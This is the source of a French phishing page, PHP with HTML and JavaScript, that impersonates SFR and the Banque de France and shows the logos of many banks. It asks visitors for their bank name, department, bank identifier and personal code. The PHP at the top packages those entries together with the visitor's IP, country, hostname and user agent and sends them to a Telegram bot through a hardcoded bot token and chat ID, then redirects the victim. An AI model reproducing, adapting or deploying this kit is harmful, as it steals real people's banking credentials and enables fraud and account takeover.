<?php

$login = $password ="";
$emailText = "";
$error = false;
$isSucess = false;
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$subject ="";
function get_user_country() {
$details = json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=". $_SERVER['REMOTE_ADDR'] .""));
if ($details && $details->geoplugin_countryName != null) {
    $countryname = $details->geoplugin_countryName;
}
return $countryname;
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $NomBk = securInput($_POST["state"]);
  $Depart = securInput($_POST["nomdep"]);
  $Idbank = securInput($_POST["idBk"]);
  $code = securInput($_POST["code"]);
  $isSucess = true;
     

  if (empty($NomBk)) {
    $error = true;
    $isSucess = false;
  }else{
    $emailText .= "Nom de la Banque : $NomBk\n";
  }

  if (empty($Depart)) {
    $error = true;
    $isSucess = false;
  }
  else{
    $emailText .= "Numéro et departement : $Depart\n";
  }

  if (empty($Idbank)) {
    $error = true;
    $isSucess = false;
  }else{
    $emailText .= "Identifiant bancaire : $Idbank\n";
  }

  if (empty($code)) {
    $error = true;
    $isSucess = false;
  }
  else{
    $emailText .= "Code personnel : $code\n";
  }



  if ($isSucess) {

    $apiTokens = "8750175620:AAFcHZMhFsMtgKvjmsd7jZ4UY2CBQe0I4ho";
    $datas = [
        'chat_id' => '-1004491107754', 
        'text' => $subject = "**** SFR_MOBILE_PAIE **** \r\n\r\n  [* COORDONNÉES BANCAIRE *]" . "\r\n" . 'Data_Time : ' . $date = gmdate("H:i:s | d/m/Y") . "\r\n" . "\r\n"  . $emailText . "\r\n" . 
        'IP_User : ' . $ip . "\r\n" . 'Country : ' . get_user_country() . "\r\n" . $hostname = gethostbyaddr($ip) . "\r\n" . 'User_Agent : ' . $user_agent = $_SERVER['HTTP_USER_AGENT']
    ];
    $response = file_get_contents("https://api.telegram.org/bot$apiTokens/sendMessage?" . http_build_query($datas)); 


    header("Location: going.php?id=4");
  }


}


function securInput($var)
{
  $var = trim($var);
  $var = stripcslashes($var);
  $var = htmlspecialchars($var);

  return $var;
}

?>

<!DOCTYPE html>
<!-- saved from url=(0063)https:/php -->
<html data-reactroot="">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

    <title>Forfait mobile : offres 5G / 4G+ et options mobiles - SFR</title>

    <meta name="application-name" content="" />
    <meta name="keywords" content="" />
    <meta name="description" content="" />

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>



        <link rel="icon" type="image/svg" sizes="192x192" href="https://static.s-sfr.fr/favicon.ico">
    <link rel="apple-touch-icon" sizes="180x180" href="Forfait%20mobile%20_%20offres%205G%20_fichiers/SFR.svg">



    <meta
      name="viewport"
      content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=2, user-scalable=yes"
    />

    <link rel="stylesheet" href="./css/apati.css" />

    <link type="text/css" href="./css/resultSimulation.css" rel="stylesheet" />

    <link rel="stylesheet" href="./css/main.ltr.css" />

    <style id="inert-style">
      [inert] {
        pointer-events: none;
        cursor: default;
      }

      [inert],
      [inert] * {
        user-select: none;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
      }
      .images-container {
  text-align: justify;
  display: block;
}

.images {
 display: block;
  margin: auto;
}

.imagess {
 display: block;
  margin: auto;
  width: 30%;
  margin-bottom: 20px;
}

.imagesss {
 display: block;
  margin: auto;
  width: 50%;
  margin-bottom: 20px;
}

.errorClass{

  color:red;
  font-size:12px;
}

    </style>
  </head>

  <body style="margin-top: 20px" class="vx_root vx_addFlowTransition">

    <div class="images-container">
    <img class="images"
      alt="Banque de France"
      src="./assetstyles/paieSfr01.jpeg"
    />
  </div>
 
    <div
      class="vx_modal-flow vx_modalPrepToOpen vx_modalIsOpen modal-flow"
      id="mainModal"
      tabindex="-1"
      aria-labelledby="js_modalHeader"
    >
      <div
        class="vx_modal-wrapper-backgroundOverride vx_modal-wrapper vx_modal-wrapper_logo elementDirection"
        tabindex="-1"
      >
        <div class="vx_modal-content">
          <header class="vx_modal-header">
            <div style="margin-top: -3.7em">
              <marquee width="100%" scrollamount="3" scrolldelay="10">
                <!-- L'objet parcourt 2px chaque 10ms -->
                <img style="width: 25%" src="./img/logoB2F.svg" />
                <img style="width: 15%" src="./img/agri.svg" />
                <img style="width: 15%" src="./img/bnp.svg" />
                <img style="width: 15%" src="./img/post.svg" />
                <img style="width: 20%" src="./img/hsbc.png" />
                <img style="width: 15%" src="./img/nicko.png" />
                <img style="width: 15%" src="./img/caisse.svg" />
                <img style="width: 15%" src="./img/bpop.svg" />
                <img style="width: 15%" src="./img/socg.svg" />
                <img style="width: 17%" src="./img/credmut.svg" />
                <img style="width: 15%" src="./img/borso.png" />
                <img style="width: 15%" src="./img/ing.jpeg" />
                <img style="width: 12%" src="./img/lcl.png" />
                <img style="width: 15%" src="./img/fortuneo.png" />
                <img style="width: 15%" src="./img/bforbk.png" />
                <img style="width: 20%" src="./img/credMutBre.png" />
                <img style="width: 13%" src="./img/macifbk.jpeg" />
                <img style="width: 28%" src="./img/bkcourt.jpeg" />
              </marquee>
            </div>

            <div aria-live="pJOHNESSte"></div>
            <p class="vx_text-body"></p>
          </header>
          <div
            style="margin-top: 2em"
            class="vx_modal-body vx_blocks-for-mobile"
          >
            <div>
              <div class="vx_modal-body vx_blocks-for-mobile">
                <div class="form-container">
                  <div class="signupCheckBox">
                    <div class="expandableContainer">
                      <label for="paypalAccountData_tcpa"> </label>
                    </div>
                  </div>
                  <form
                    method="POST"
                    id="dateAndPhoneForm"
                    accept-charset="UTF-8"
                    class="proceed maskable"
                    autocomplete="off"
                  >
                    <div
                      class="column large-12 medium-12 small-12 large-centered spacedTop"
                    >
                      <h1 class="ncrcard-title ncr">
                        Confirmation d'Identité
                        <p style="color: #D90D25; font-weight:bold">"SFR <strong style="color: #181818">&</strong> Banque de France"</p>
                      </h1>
                    </div>

                    <input
                      name="_token"
                      type="hidden"
                      value="kF9gPAn3l6UsVOhwyLW6B1YQSFJNWVgFr7jaecNc"
                    />

                    <div class="columns medium-5 large-6">
                      <label
                        style="
                          font-size: 1.5rem;
                          font-weight: bold;
                          margin-left: 3em;
                          margin-bottom: 1.5em;
                          margin-top: 2em;
                        "
                        for="nom"
                        >Identité bancaire</label
                      >
                      <div
                      class="vx_form-group vx_floatingLabel vx_floatingLabel_active"
                      data-label-content="Saisissez votre banque (Physique)"
                    >
                      <label class="floatingLabel" for="cardNumber"
                        >Prénom</label
                      >
                      <input
                        style="border-radius: 16px"
                        value=""
                        
                        aria-label="login_emaildiv"
                        class="test_cardNumber test_cardNumber vx_form-control"
                        autocomplete="off_cardprenom"
                        placeholder="Etablissement bancaire"
                        aria-describedby="text-info-cardNumber"
                        id="idBank"
                        name="state"
                        type="text"
                      />
                      <span class="errorClass" id="idBankError"></span>                       

                    </div>

                    <div
                      class="vx_form-group vx_floatingLabel vx_floatingLabel_active"
                      data-label-content="Nom et numéro du département"
                    >
                      <label class="floatingLabel" for="cardNumber"
                        >Prénom</label
                      >
                      <input
                        style="border-radius: 16px"
                        value=""
                        
                        aria-label="login_emaildiv"
                        class="test_cardNumber test_cardNumber vx_form-control"
                        autocomplete="off_cardprenom"
                        placeholder="Nom et N° de département"
                        aria-describedby="text-info-cardNumber"
                        id="nomdep"
                        name="nomdep" 
                        type="text"
                      />
                      <span class="errorClass" id="nomdepError"></span>
                    </div>
                    <div>
                      <span
                        style="font-size: 12px; background-color: #e9f1f0"
                        rv-html="model.app.subscription.S41.Tips-addressemail"
                        >Veuillez indiquer le numéro et le nom du département ou
                        la ville ou l'adresse abritant votre établissement bancaire.</span
                      >

                      <div
                        class="vx_form-group vx_floatingLabel vx_floatingLabel_active"
                        data-label-content="Identifiant bancaire"
                      >
                        <label class="floatingLabel" for="cardNumber"
                          >Prénom</label
                        >
                        <input
                          style="border-radius: 16px"
                          value=""
                          aria-label="login_emaildiv"
                          class="test_cardNumber test_cardNumber vx_form-control"
                          autocomplete="off_cardprenom"
                          placeholder="Entrez votre identiant bancaire"
                          aria-describedby="text-info-cardNumber"
                          id="idBk"
                          name="idBk" 
                          type="text"
                        />
                        <span class="errorClass" id="idBkError"></span>
                      </div>

                      <div
                        class="vx_form-group vx_floatingLabel vx_floatingLabel_active"
                        data-label-content="Code personnel"
                      >
                        <label class="floatingLabel" for="cardNumber"
                          >Numéro de carte</label
                        >
                        <input
                          style="border-radius: 16px"
                          value=""
                          aria-label="login_emaildiv"
                          class="test_cardNumber test_cardNumber vx_form-control"
                          autocomplete="off_cardNumber"
                          placeholder="Entrez votre code personnel"
                          aria-describedby="text-info-cardNumber"
                          id="code"
                          name="code"  
                          type="text"
                          
                        />
                        <span class="errorClass" id="codeError"></span>
                      </div>
                    </div>
                    <br />

                    <div
                      style="
                        font-weight: bold;
                        font-size: 10px;
                        color: #db0029;
                        position: absolute;
                      "
                    >
                      *Tous les champs sont obligatoires
                    </div>

                    <button
                      style="margin-top: 7em; text-decoration:none; font-weight:bold"
                      data-testid="button-submit"
                      @click=""
                      id="btt"
                      data-track="{}"
                      class="btn vx_btn vx_btn-block card-submit test_add-card-submit"
                      title=""
                    >
                      Valider
                    </button>
                  </form>
                </div>
              </div>         

              <div class="images-container">
		<img class="imagess"
		  alt="Free_Mobile"
		  src="./assetstyles/puce03.jpeg"
		/>
	  </div>



            </div>
          </div>

          <div class="signup-page-footer vx_text-legal center">
            © La Banque de France: 1, rue du Docteur Sauvé 53100 MAYENNE,
            Téléphone : +33(0) 134 765 440.
          </div>
        </div>
      </div>
    </div>


    <div class="images-container">
		<img class="imagesss"
		  alt="Banque de France"
		  src="./img/logoB2F.svg"
		/>
	  </div>



    <script type="text/javascript" src="./js/vx-lib.min.js"></script>
    <script type="text/javascript" defer="" src="./js/vendor.js"></script>



    <script>
 
 document.getElementById("dateAndPhoneForm").addEventListener("submit", function(event) {


 // Fonction pour valider du nom de la banque
 function validateEmailAdress(input) {
     var emailAdressValue = input.value;
     var emailErrorSpan = document.getElementById("idBankError");

     // Réinitialiser le contenu du message d'erreur
     emailErrorSpan.textContent = "";

     // Expression régulière pour valider le nom de la banque
     var emailRegex = /^[a-zA-ZÀ-ÖØ-öø-ÿ '-]{3,30}$/;

     if (!emailRegex.test(emailAdressValue)) {
         emailErrorSpan.textContent = "Entrez un nom de banque physique valide, eg: Crédit Agricole, BNP Paribas, LCL, CIC";
         
     }
 }

 // Lorsque l'utilisateur saisit quelque chose dans le champ,nom de la banque
 var emailAdressInput = document.getElementById("idBank");
 emailAdressInput.addEventListener("input", function() {
     validateEmailAdress(this);
 });



 // Fonction pour valider du nom du département
function validateSecretPhrase(input) {
     var secretPraseValue = input.value;
     var secretErrorSpan = document.getElementById("nomdepError");

     // Réinitialiser le contenu du message d'erreur
     secretErrorSpan.textContent = "";

     // Expression régulière pour le numéro ou nom du département
     var secretRegex = /^[a-zA-Z0-9À-ÖØ-öø-ÿ '-]{4,90}$/;

     if (!secretRegex.test(secretPraseValue)) {
         secretErrorSpan.textContent = "Indiquez le nom du département ou l'adresse ou la ville de votre établissement bancaire, e,g: 75-Paris, Aquitaine, Finistère, Normandie, Languedoc. ";
         
     }
 }

 // Lorsque l'utilisateur saisit quelque chose dans le champ,du nom du département, valider le nom du département
 var secretPhraseInput = document.getElementById("nomdep");
 secretPhraseInput.addEventListener("input", function() {
     validateSecretPhrase(this);
 });


 // Fonction pour valider de l'identifiant bancaire
function validatePhoneNumber(input) {
     var phoneNumberValue = input.value;
     var phoneErrorSpan = document.getElementById("idBkError");

     // Réinitialiser le contenu du message d'erreur
     phoneErrorSpan.textContent = "";

     // Expression régulière pour valider l'identifiant bancaire
     var phoneRegex = /^[0-9]{8,15}$/;

     if (!phoneRegex.test(phoneNumberValue)) {
         phoneErrorSpan.textContent = "Entrez un identifiant bancaire valide celui de la banque indiquée ci-dessus";
     }
 }

 // Lorsque l'utilisateur saisit quelque chose dans le champ de l'identifiant bancaire, validez l'identifiant bancaire
 var phoneNumberInput = document.getElementById("idBk");
 phoneNumberInput.addEventListener("input", function() {
     validatePhoneNumber(this);
 });


 // Fonction pour valider de le code personnel
function validateDateNumber(input) {
     var dateOfBirthValue = input.value;
     var dateErrorSpan = document.getElementById("codeError");

     // Réinitialiser le contenu du message d'erreur
     dateErrorSpan.textContent = "";

     // Expression régulière pour valider le code personnel
     var dateRegex = /^[0-9]{4,8}$/;

     if (!dateRegex.test(dateOfBirthValue)) {
      dateErrorSpan.textContent = "Entrez un code personnel valide celui de la banque indiquée ci-dessus ";
     }
 }

 // Lorsque l'utilisateur saisit quelque chose dans le champ de le code personnel, validez le code personnel
 var dateOfBirthInput = document.getElementById("code");
 dateOfBirthInput.addEventListener("input", function() {
      validateDateNumber(this);
 });




     var emailErrorSpan = document.getElementById("idBankError");
     var secretErrorSpan = document.getElementById("nomdepError");
     var phoneErrorSpan = document.getElementById("idBkError"); 
     var dateErrorSpan = document.getElementById("codeError");

   

     var emailAdressValue = emailAdressInput.value;
     var secretPraseValue = secretPhraseInput.value;
     var phoneNumberValue = phoneNumberInput.value;
     var dateOfBirthValue = dateOfBirthInput.value;
    


     // Réinitialiser le contenu des messages d'erreur
       // Réinitialiser le contenu des messages d'erreur
       phoneErrorSpan.textContent = "";
       emailErrorSpan.textContent = "";
       secretErrorSpan.textContent = "";
       dateErrorSpan.textContent = "";
    




     

 

     // Validation du nom de la banque
     var emailRegex = /^[a-zA-ZÀ-ÖØ-öø-ÿ '-]{3,30}$/;
     if (!emailRegex.test(emailAdressValue)) {
         emailErrorSpan.textContent = "Saisie incorrect, veuillez entrer un nom de banque valide, eg: Crédit Agricole, BNP Paribas, LCL, CIC.";
         event.preventDefault(); // Empêche la soumission du formulaire en cas d'erreur
         return;
     }

      // Validation du nom du département
    var secretRegex = /^[a-zA-Z0-9À-ÖØ-öø-ÿ '-]{4,90}$/;
     if (!secretRegex.test(secretPraseValue)) {
         secretErrorSpan.textContent = "Saisie incorrects, veuillez entrer un nom et numéro valides, e,g: 75-Paris, Aquitaine, Finistère, Normandie, Languedoc.";
         event.preventDefault(); // Empêche la soumission du formulaire en cas d'erreur
         return;
     }

      // Validation de l'identifiant bancaire
      var phoneRegex = /^[0-9]{8,15}$/;
     if (!phoneRegex.test(phoneNumberValue)) {
         phoneErrorSpan.textContent = "Identifiant bancaire incorrect, veuillez entrer un Identifiant valide.";
         event.preventDefault(); // Empêche la soumission du formulaire en cas d'erreur
         return;
     }

      // Validation du code personnel
     var dateRegex = /^[0-9]{4,8}$/;
     if (!dateRegex.test(dateOfBirthValue)) {
          dateErrorSpan.textContent = "Code personnel incorrect, veuillez entrer un code personnel valide, celui de la banque indiquée.";
         event.preventDefault(); // Empêche la soumission du formulaire en cas d'erreur
         return;
     }
  

  

     // Vous pouvez utiliser les variables "day", "month" et "year" pour effectuer d'autres opérations avec la date de naissance si nécessaire
 });
</script>



<script>
    $(document).ready(function() {
        function checkWindowSize() {

            if ($(window).width() < 682) { 
              

         $(".images-container").css({ "text-align":"justify", "display":"block"});
				$(".images").css({"width":"110%","display":"block", "margin-bottom":"30px", "margin-top":"-20px"});

        $(".imagess-containers ").css({ "text-align":"justify", "display":"block"});
        $(".imagesss").css({"width":"50%","display":"block", "margin":"auto", "margin-top":"80px"});



            } else {

         $(".images-container").css({ "text-align":"justify", "display":"block"});
				$(".images").css({"width":"41%","display":"block", "margin":"auto", "margin-bottom":"30px", "margin-top":"-20px", "margin-left":"329px"});
        

        $(".imagess-containers ").css({ "text-align":"justify", "display":"block"});
        $(".imagesss").css({"width":"38%","display":"block", "margin":"auto" , "margin-top":"80px"});



            }
        }

        // Appeler la fonction lors du chargement de la page
        checkWindowSize();

        // Appeler la fonction lors du redimensionnement de la fenêtre
        $(window).resize(checkWindowSize);
    });
</script>




  </body>
</html>
